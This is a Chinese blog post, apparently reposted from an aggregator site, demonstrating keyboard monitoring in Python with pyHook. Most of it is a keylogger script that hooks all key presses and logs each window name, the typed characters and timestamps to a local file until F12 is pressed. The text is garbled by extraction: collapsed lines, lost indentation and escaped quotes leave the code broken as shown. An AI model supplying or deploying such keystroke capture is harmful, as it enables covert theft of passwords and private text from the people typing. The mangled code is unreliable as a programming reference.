您的当前位置:首页正文

python中使用pyhook实现键盘监控的例子

2020-06-23 来源:好走旅游网
python中使⽤pyhook实现键盘监控的例⼦

以上⽹站上提供了⼏个使⽤的例⼦,另外安装pyhooks后,也会有⼀个例⼦的⽂件。于是拿来学习了⼀下,第⼀次运⾏时,提⽰没有pythoncom模块,就安装了pywin32,安装后,可以正常运⾏,但是会导致机器发卡,特别是中断程序运⾏后,⿏标会出现⼀段时间的⾃由晃动,找了半天原因,感觉主要是事件频率过⾼,程序会经常卡在pythoncom.PumpMessages()。⽹上搜索了半天,看到有⼀帖⼦说是pythoncom.PumpMessages(n),n表⽰延迟时间,于是试着改了下,发现有⼀定效果,但不明显,后来想是不是因为没有终⽌程序,才会导致⼀直很卡呢,于是添加终⽌程序语句win32api.PostQuitMessage()。结果还算满意。

# -*- coding: cp936 -*-import pythoncom import pyHook import timeimport win32apit=''

asciistr=''keystr=''

def onKeyboardEvent(event): global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') \"处理键盘事件\"

if t==str(event.WindowName):

asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key) else:

t=str(event.WindowName) if asciistr=='' and keystr=='':

wrfile.writelines(\"\\nWindow:%s\\n\" % str(event.Window))

wrfile.writelines(\"WindowName:%s\\n\" % str(event.WindowName)) #写⼊当前窗体名 wrfile.writelines(\"MessageName:%s\\n\" % str(event.MessageName)) wrfile.writelines(\"Message:%d\\n\" % event.Message)

wrfile.writelines(\"Time:%s\\n\" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) else:

wrfile.writelines(\"Ascii_char:%s\\n\" %asciistr) wrfile.writelines(\"Key_char:%s\\n\" %keystr)

wrfile.writelines(\"\\nWindow:%s\\n\" % str(event.Window))

wrfile.writelines(\"WindowName:%s\\n\" % str(event.WindowName)) #写⼊当前窗体名

wrfile.writelines(\"Time:%s\\n\" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

asciistr=chr(event.Ascii) keystr=str(event.Key)

if str(event.Key)=='F12': #按下F12后终⽌

wrfile.writelines(\"Ascii_char:%s\\n\" %asciistr) wrfile.writelines(\"Key_char:%s\\n\" %keystr) wrfile.close()

win32api.PostQuitMessage()

return True

if __name__ == \"__main__\": #创建hook句柄

hm = pyHook.HookManager() #监控键盘

hm.KeyDown = onKeyboardEvent hm.HookKeyboard()

#循环获取消息

pythoncom.PumpMessages(10000)

因篇幅问题不能全部显示,请点此查看更多更全内容